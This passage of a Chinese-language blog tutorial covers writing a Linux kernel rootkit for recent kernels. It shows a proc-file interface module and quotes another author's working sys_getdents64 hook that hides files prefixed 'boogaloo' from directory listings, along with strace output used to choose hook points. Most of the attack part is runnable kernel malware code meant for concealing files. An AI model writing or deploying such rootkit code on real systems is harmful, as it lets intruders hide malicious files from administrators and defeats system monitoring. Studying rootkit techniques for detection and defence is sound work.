这样用法也转变成了这样

static const struct proc_ops proc_file_fops_output = {
    .proc_read = rootkit_read,
    .proc_write = rootkit_write,
};

其他基本就没啥问题了,

char *cmd_output = NULL;
int cmd_output_len = 0;
ssize_t output_write(struct file *file, const char *buf, size_t len, loff_t *offset)
{
    long error;

    if(cmd_output_len != 0)
        kfree(cmd_output);
    cmd_output = kzalloc(len, GFP_KERNEL);
    error = copy_from_user(cmd_output, buf, len);
    printk(KERN_ALERT "cmd_line: %s\n",cmd_output);
    if(error)
        return -1;
    cmd_output_len = len;
    return len;
}
ssize_t output_read(struct file *file, char *buf, size_t len, loff_t *offset)
{
    int ret;
    char *kbuf = NULL;
    long error;
    static int finished = 0;
    kbuf = kzalloc(cmd_output_len, GFP_KERNEL);
    strncpy(kbuf, cmd_output, cmd_output_len);


    if ( finished )
    {

        finished = 0;
        ret = 0;
        goto out;
    }
    else
    {

        finished = 1;
        error = copy_to_user(buf, kbuf, cmd_output_len);
        if(error)
            return -1;
        ret = cmd_output_len;
        goto out;
    }
out:
    kfree(kbuf);
    return ret;
}

static struct proc_ops proc_file_fops_output = {

    .proc_read = output_read,
    .proc_write = output_write,
};
static int hello_init(void)  
{  
  proc_entry = proc_create("test", 0666, NULL, &proc_file_fops_output);
  if (proc_entry == NULL) {
    printk(KERN_INFO "fortune: Couldn't create proc entry\n");
  }
    printk(KERN_ALERT "Hello, world\n");  
  return 0;  
}  

proc_ok.png

这些完成之后,就该进入我们rootkit主要模块的编写了

隐藏文件

能hook sys_call_table后,解决了怎么hook的问题,接下来就是Hook哪里。

我们直接使用strace ls,来查看一个文件的调用栈。

ioctl(1, TCGETS, {B38400 opost isig icanon echo ...}) = 0
ioctl(1, TIOCGWINSZ, {ws_row=48, ws_col=209, ws_xpixel=0, ws_ypixel=0}) = 0
openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
newfstatat(3, "", {st_mode=S_IFDIR|0755, st_size=4096, ...}, AT_EMPTY_PATH) = 0
getdents64(3, 0x5597ad35d730 /* 3 entries */, 32768) = 88
getdents64(3, 0x5597ad35d730 /* 0 entries */, 32768) = 0
close(3)                                = 0
newfstatat(1, "", {st_mode=S_IFCHR|0600, st_rdev=makedev(0x88, 0x1), ...}, AT_EMPTY_PATH) = 0
write(1, "5.16.5-arch1-1\n", 155.16.5-arch1-1
)        = 15
close(1)                                = 0
close(2)                                = 0

我就给出个部分,我们看到其中两个最主要的函数。一个是getdents64,一个是write。对于这两个,我们可以从 Linux Syscall Reference 中看出来,主要是sys_write和sys_getdents64这两个,前者是(仅仅针对ls的情况)对处理完的数据输出到控制台时候的操作,后者才是真正的Linux内核对于磁盘中文件处理的函数。

Hook两者各有利弊,Write主要在于系统中使用的地方太多,这种过滤影响性能不说,输出的文字形势千奇百怪,我们不好直接匹配,以及这是属于一种掩耳盗铃的手法,实际上系统任然能够操作文件。

所以我们还是HOOK后面一个函数比较好。直接对这个文件定义就行一个函数的查

int sys_getdents64( unsigned int fd, struct linux_dirent 64 __user * dirent, unsigned int count);

这就是函数的定义,我们其他都不看,就看中间这个linux_dirent64 __user,它的定义如下

struct linux_dirent64 {
    u64         d_ino;
    s64         d_off;
    unsigned short      d_reclen;
    unsigned char       d_type;
    char        d_name[];
};

其中,这个结构体,我们应该非常熟悉,因为我们在R3下使用LD_PRELOAD劫持进行文件隐藏时,也遇到过类似的结构,详情可以查看这里

其中d_relen包含着当前结构体长度,然后d_name写着当前目录的名称,我们要做的就是比对d_name,判断是否是我们需要隐藏的,如果是需要隐藏,则把这部分的结构体给删除掉。

那么如何删除呢。linux_dirent64 在内存种的排列是连续的,而且sys_getdents64的第二个参数dirent正好指向第一个linux_dirent64 结构体,所以根据上面的信息,我们只要知道linux_dirent64链表的大小,就能根据linux_dirent64->d_reclen,就能准确从连续的内存中分割出每一块linux_dirent64。

而sys_getdents64的返回值刚好就是linux_dirent64整片链表的大小,那么要素齐全了,我们就可以开始操作了。

开始摆烂,我直接上别人的源码了。代码引用自:rootkit.c

#define PREFIX "boogaloo"

static asmlinkage int fake_getdents64(const struct pt_regs *regs){
   
/* These are the arguments passed to sys_getdents64 extracted from the pt_regs struct */
    struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;
    long error;


    struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL;
    unsigned long offset = 0;

    /* We first have to actually call the real sys_getdents64 syscall and save it so that we can
     * examine it's contents to remove anything that is prefixed by PREFIX.
     * We also allocate dir_entry with the same amount of memory as  */
    int ret = ori_getdents64(regs);
    dirent_ker = kzalloc(ret, GFP_KERNEL);
    if ( (ret <= 0) || (dirent_ker == NULL) )
        return ret;
    /* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace 
     * dirent_ker is our copy of the returned dirent struct that we can play with */
    error = copy_from_user(dirent_ker, dirent, ret);
    if (error)
        goto done;
    /* We iterate over offset, incrementing by current_dir->d_reclen each loop */
    while (offset < ret)
    {
        /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */
        current_dir = (void *)dirent_ker + offset;
        /* Compare current_dir->d_name to PREFIX */
        if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0)
        {
            /* If PREFIX is contained in the first struct in the list, then we have to shift everything else up by it's size */
            if ( current_dir == dirent_ker )
            {
                ret -= current_dir->d_reclen;
                memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
                continue;
            }
            /* This is the crucial step: we add the length of the current directory to that of the 
             * previous one. This means that when the directory structure is looped over to print/search
             * the contents, the current directory is subsumed into that of whatever preceeds it. */
            previous_dir->d_reclen += current_dir->d_reclen;
        }
        else
        {
            /* If we end up here, then we didn't find PREFIX in current_dir->d_name 
             * We set previous_dir to the current_dir before moving on and incrementing
             * current_dir at the start of the loop */
            previous_dir = current_dir;
        }

        /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole
         * directory listing */
        offset += current_dir->d_reclen;
    }
    /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned.
     * Note that dirent is already in the right place in memory to be referenced by the integer
     * ret. */
    error = copy_to_user(dirent, dirent_ker, ret);
    if (error)
        goto done;
done:
    /* Clean up and return whatever is left of the directory listing to the user */
    kfree(dirent_ker);
    return ret;
}

效果如下
hidden_file.png

自此,我们一个简易的隐藏文件就整好了

自启动

哪天不想咕咕咕了就来写

结尾

虽说只实现了一个文件隐藏功能,但是基本的rootkit所需具备的框架已经基本都完成了。

要对此进行扩展只需要使用strace找到HOOK点,然后添加HOOK,然后对数据进行处理。无外乎这些。

以前觉得啊rootkit好帅好流弊,这次才知道linux rootkit其实并不怎么轻松。

主要还是在于linux和windows的两种不同策略。linux在于可持续性可靠的文档。而windows讲究向下兼容。

Linux对于安全的态度是交给用户把控,而windows的话则强制要求签名。

所以导致Linux的rootkit对于系统版本的要求很严格,甚至一个更新内核关键数据修改就全部木大。

但是也不是没有办法,就是花时间和精力做出每个版本能勇的,然后遇到什么版本系统上什么版本系统的模块即可。

而windows的话则是直接一个强制驱动签名杀死了绝大部分rootkit。

没了,就这么多了。

Tags: 高版本, 内核, sys_call_table
文章总数:185篇 分类总数:4个